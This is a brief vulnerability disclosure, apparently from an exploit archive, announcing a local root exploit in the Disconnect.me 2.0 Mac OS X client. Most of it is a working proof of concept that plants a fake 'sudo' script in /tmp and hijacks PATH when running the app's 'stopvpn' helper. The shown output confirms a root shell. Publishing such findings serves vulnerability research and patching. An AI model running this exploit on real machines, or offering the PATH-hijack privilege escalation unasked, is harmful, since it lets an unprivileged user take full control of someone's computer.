Disconnect.me 2.0 Local Root Exploit
Posted on 09 September 2015
Disconnect.me is the search engine entrusted by the Tor Browser. Unfortunately, the Mac OS X client has an LPE to root vulnerability (0day). Original Download <= v2.0: https://disconnect.me/premium/mac Archived Download: http://d-h.st/LKqG Disconnect+Desktop.pkg: sha256 = bc94c94c88eb5c138396519ff994ae8efe85899475f44e54f71a6ebc047ce4e7 https://www.virustotal.com/en/file/bc94c94c88eb5c138396519ff994ae8efe85899475f44e54f71a6ebc047ce4e7/analysis/ PoC: """ $ id uid=501(...) gid=20(staff) ... $ cat /tmp/sudo #!/bin/bash /usr/bin/id /bin/bash $ chmod +x /tmp/sudo $ PATH=/tmp "/Library/Application Support/disconnect/stopvpn" uid=0(root) gid=0(wheel) ... # /usr/bin/whoami root """ -- Kristian Erik Hermansen (@h3rm4ns3c) https://www.linkedin.com/in/kristianhermansen
